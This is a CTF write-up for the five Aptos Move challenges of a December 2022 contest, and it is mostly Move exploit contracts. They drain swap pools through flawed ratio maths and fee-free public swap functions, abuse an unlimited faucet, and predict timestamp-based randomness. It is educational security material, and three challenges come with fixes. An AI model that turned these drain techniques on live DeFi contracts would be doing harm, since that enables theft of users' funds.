# CTF MOVEment with Aptos Dec 2022 Writeup

Contents

## Preface

It’s been half a year since I last wrote a blog. During that time, I’ve learned a lot about Web3 security, including Solana and Aptos. Last weekend, I participated in the CTF MOVEment with Aptos Dec 2022 jointly organized by MoveBit, Aptos, ChainFlag and OtterSec, and scored two first-bloods and two second-bloods in the four challenges except the sanity-check, ranking first in the end. In this post, I will briefly introduce the solutions to the five challenges.

## Challenge 1: checkin

Challenge Info

### Target contract

The challenge 1 is a sanity-check to let players get familiar with how to use aptos-cli to communicate with the private chain where the challenge contract is deployed. There is a get_flag function in the contract, and once it’s called it will emit an Flag event.

### Solution

After initializing an account and invoking the get_flag function via aptos-cli, we can submit the transaction hash to the challenge website, the server will check whether this transaction triggers the Flag event, and if so, the server will return the flag.

 1 2  aptos init --assume-yes --network custom --rest-url http://8.218.146.10:9080 --faucet-url http://8.218.146.10:9081 aptos move run --assume-yes --function-id VICTIM_ADDRESS::checkin::get_flag 

## Challenge 2: hello move

Challenge Info

### Target contract

The challenge 2 is a simple challenge to let players get familiar with the Move language. The contract has five functions: init_challenge, hash, discrete_log, add, pow and get_flag. The init_challenge function is used to initialize the challenge by sending the caller a Challenge object with 5 members, balance=10, q1=false, q2=false, q3=false, and an event handler. q1, q2, q3 indicates the solving status of the 3 sub-problems in this challenge, and these status will be checked in the get_flag function.

#### q1: hash

q1 will be set to true if we invoke the hash function and provide a guess: vector<u8> satisfying len(guess)==4 && keccak256(guess+"move")=="d9ad5396ce1ed307e8fb2a90de7fd01d888c02950ef6852fbc2191d2baf58e79". This can be solved by writing a simple script to brute-force all the possible guesses, and the answer is good.

#### q2: discrete_log

In order to set q2 to true, we need to provide a guess: u128 satisfying pow(10549609011087404693, guess, 18446744073709551616) == 18164541542389285005, which is a classic discrete logarithm problem. We can solve this with discrete_log(18164541542389285005,Mod(10549609011087404693,18446744073709551616)) in sage, and the answer is $3123592912467026955$.

The sub-problem q3 is more interesting. Similar to other checked arithmetic implementation, the Shl and Shr operations in Move language will raise an ARITHMETIC_ERROR if the shift amount is greater than or equal to the bit width of the operand as this is a cpu-level undefined behavior. And the Shl operations won’t raise ARITHMETIC_ERROR if there is an overflow. So we can shift the current balance $10$ to the left by more than $8$ bits to set the balance to $0$.

### Exploit contract

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  module solution::solution2 { use std::signer; use std::vector; use ctfmovement::hello_move; public entry fun solve(account: &signer) { hello_move::init_challenge(account); hello_move::hash(account, vector[103,111,111,100]); hello_move::discrete_log(account, 3123592912467026955); hello_move::add(account, 3, 5); hello_move::add(account, 3, 5); hello_move::get_flag(account); } } 

## Challenge 3: swap empty

Challenge Info

### Target contract

This target contract implements a very simple swap protocol, which allows users to swap between two tokens Coin1 and Coin2. The contract has a get_coin function to let the user get an airdrop of $5$ Coin1 and $5$ Coin2, two functions swap_12 and swap_21 to swap between Coin1 and Coin2, and a get_flag function checks whether the amount of Coin1 or Coin2 in the reserved account is 0.

### Vulnerability

The vulnerability is the design of the get_amouts_out function. This contract uses a very naive way of calculating the amount of token that can be exchanged based on the ratio of Coin1 and Coin2 in the reserve account. However, this design is not safe, consider the following POC:

• Attacker get $5$ Coin1 and $5$ Coin2 from airdrop User: $5$ Coin1, $5$ Coin2; Reserve: $50$ Coin1, $50$ Coin2

• Attacker swap $5$ Coin2 to $5\cdot\frac{50}{50}=5$ Coin1 User: $10$ Coin1, $0$ Coin2; Reserve: $45$ Coin1, $55$ Coin2

• Attacker swap $10$ Coin1 to $10\cdot\frac{55}{45}=12$ Coin2 User: $0$ Coin1, $12$ Coin2; Reserve: $55$ Coin1, $43$ Coin2

• Attacker swap $12$ Coin2 to $12\cdot\frac{55}{43}=15$ Coin1 User: $15$ Coin1, $0$ Coin2; Reserve: $40$ Coin1, $55$ Coin2

By repeating this process, a malicious user could drain almost all the tokens in the reserved accounts.

### Exploit contract

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45  module solution::solution3 { use std::signer; use std::vector; use aptos_framework::coin::{Self, Coin}; use ctfmovement::pool::{Self, Coin1, Coin2}; public entry fun solve(account: &signer) { pool::get_coin(account); let coin2 = coin::withdraw(account, 5); let coin1 = pool::swap_21(&mut coin2, 5); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); let coin1 = coin::withdraw(account, 10); let coin2 = pool::swap_12(&mut coin1, 10); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); let coin2 = coin::withdraw(account, 12); let coin1 = pool::swap_21(&mut coin2, 12); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); let coin1 = coin::withdraw(account, 15); let coin2 = pool::swap_12(&mut coin1, 15); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); let coin2 = coin::withdraw(account, 20); let coin1 = pool::swap_21(&mut coin2, 20); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); let coin1 = coin::withdraw(account, 24); let coin2 = pool::swap_12(&mut coin1, 24); coin::deposit(signer::address_of(account), coin2); coin::deposit(signer::address_of(account), coin1); pool::get_flag(account); } } 

### Possible fix

One possible fix is to use the following formula to calculate the number of tokens that can be exchanged, to ensure that the product of the two token amounts is always constant:

 1 2 3 4 5 6 7 8  public fun get_amouts_out(pool: &LiquidityPool, amount: u64, order: bool): u64 { let (token1, token2) = get_amounts(pool); if (order) { return (amount * token2) / (token1 + amount) }else { return (amount * token1) / (token2 + amount) } } 

## Challenge 4: simple swap

Challenge Info

### Target contract

This contract implements a Uniswap v2 like coin swap program that allows users to swap between TestUSDC and SimpleCoin with a $0.25%$ fee rate and a $0.1%$ bonus if a user swaps TestUSDC to SimpleCoin. In the initialization process, the admin added $10^{10}$ TestUSDC and $10^{10}$ SimpleCoin to the pool. The get_flag function will check if the user has at least $10^{10}$ SimpleCoin, if so, the user will get the flag.

### Vulnerability

There are two vulnerabilities in this contract.

• The first vulnerability is that there is no limit on the amount of tokens that a user can claim via airdrop. An attacker can claim a large amount of tokens and then swap them to other tokens to drain the reserve pool.
• The second vulnerability is that the swap_exact_x_to_y_direct and swap_exact_y_to_x_direct functions are incorrectly exposed to the public. An attacker can call this function to swap tokens without paying the fee.

Combining these two vulnerabilities, an attacker could first claim a large amount of TestUSDC and then swap an amount of TestUSDC equal to the current reserve pool for SimpleCoin each time to drain half of the reserve pool while receiving a $0.1%$ bonus. After $n$ repetitions, the amount of SimpleCoin in the reserve pool will be reduced to $10^{10}\cdot\frac{1}{2^n}$.

### Exploit contract

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27  module solution::solution4 { use std::signer; use std::vector; use ctfmovement::simple_coin::{Self, SimpleCoin, CoinCap, TestUSDC}; use ctfmovement::swap::{Self, LPCoin}; use aptos_framework::coin::{Self, BurnCapability, MintCapability, FreezeCapability, Coin}; public entry fun solve(account: &signer) { simple_coin::claim_faucet(account, 1000000000000000000); swap::check_or_register_coin_store(account); let base = 10000000000; let i = 0; while (i < 20) { let tusdc = coin::withdraw(account, base); let (simple_coin, simple_coin_reward) = swap::swap_exact_y_to_x_direct(tusdc); coin::deposit(signer::address_of(account), simple_coin); coin::deposit(signer::address_of(account), simple_coin_reward); base = base * 2; i = i + 1; }; simple_coin::get_flag(account); } } 

### Possible fix

• Add a limit to the airdrop amount each account can claim
• Remove the public visibility modifier of the swap_exact_x_to_y_direct<X, Y> function to make it private

## Challenge 5: move lock v2

Challenge Info

### Target contract

This contract generate a number by using a polynomial whose coefficients are generated by a string encrypted with script hash and several pseudo-random numbers. Flag event will be emitted if the user guesses the correct number. Obviously, it is almost impossible to guess the correct number, since the number of possible guesses is $2^{128}$.

### Vulnerability

The vulnerability is that the pesudorandom number is generated with a timestamp in seconds and a counter. The counter is initialized to $0$ and will be increased by $1$ each time a random number is generated. Therefore, both the timestamp and the counter are predictable. An attacker can just reuse most of the code in the target contract to generate a same polynomial and the correct number directly. Recall that the string is encrypted by XORing script hash and a constant, we need to call the exploit contract via a script.

### Exploit contract

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160  module solution::solution5 { // // [*] Dependencies // use aptos_framework::transaction_context; use aptos_framework::timestamp; use aptos_framework::account; // use aptos_framework::event; // use aptos_std::debug; use std::vector; // use std::signer; use std::hash; use std::bcs; // // [*] Structures // struct Polynomial has drop { degree : u64, coefficients : vector } struct Counter has key { value : u64 } use ctfmovement::move_lock; const BASE : vector = b"HoudiniWhoHoudiniMeThatsHoudiniWho"; // // [*] Module Initialization // fun init_module(creator: &signer) { move_to(creator, Counter{ value: 0 }) } public entry fun solve(account: &signer): bool acquires Counter { let encrypted_string : vector = encrypt_string(BASE); let res_addr : address = account::create_resource_address(&@ctfmovement, encrypted_string); let bys_addr : vector = bcs::to_bytes(&res_addr); let i = 0; let d = 0; let cof : vector = vector::empty(); while ( i < vector::length(&bys_addr) ) { let n1 : u64 = gen_number() % (0xff as u64); let n2 : u8 = (n1 as u8); let tmp : u8 = *vector::borrow(&bys_addr, i); vector::push_back(&mut cof, n2 ^ (tmp)); i = i + 5; d = d + 1; }; let pol : Polynomial = constructor(d, cof); let x : u64 = gen_number() % 0xff; let result = evaluate(&mut pol, x); move_lock::unlock(account, result) } // // [*] Local functions // fun increment(): u64 acquires Counter { let c_ref = &mut borrow_global_mut(@solution).value; *c_ref = *c_ref + 1; *c_ref } fun constructor( _degree : u64, _coefficients : vector) : Polynomial { Polynomial { degree : _degree, coefficients : _coefficients } } fun pow(n: u64, e: u64): u64 { if (e == 0) { 1 } else if (e == 1) { n } else { let p = pow(n, e / 2); p = p * p; if (e % 2 == 1) { p = p * n; p } else { p } } } fun evaluate(p : &mut Polynomial, x : u64) : u128 { let result : u128 = 0; let i : u64 = 0; while ( i < p.degree ) { result = result + (((*vector::borrow(&p.coefficients, i) as u64) * pow(x, i)) as u128); i = i + 1; }; result } fun seed(): vector acquires Counter { let counter = increment(); let counter_bytes = bcs::to_bytes(&counter); let timestamp: u64 = timestamp::now_seconds(); let timestamp_bytes: vector = bcs::to_bytes(×tamp); let data: vector = vector::empty(); vector::append(&mut data, counter_bytes); vector::append(&mut data, timestamp_bytes); let hash: vector = hash::sha3_256(data); hash } fun get_u64(bytes: vector): u64 { let value = 0u64; let i = 0u64; while (i < 8) { value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8)); i = i + 1; }; return value } fun gen_number() : u64 acquires Counter { let _seed: vector = seed(); get_u64(_seed) } fun encrypt_string(plaintext : vector) : vector { let key : vector = transaction_context::get_script_hash(); let key_len : u64 = vector::length(&key); let ciphertext : vector = vector::empty(); let i = 0; while ( i < vector::length(&plaintext) ) { vector::push_back(&mut ciphertext, *vector::borrow(&plaintext, i) ^ *vector::borrow(&key, (i % key_len))); i = i + 1; }; ciphertext } }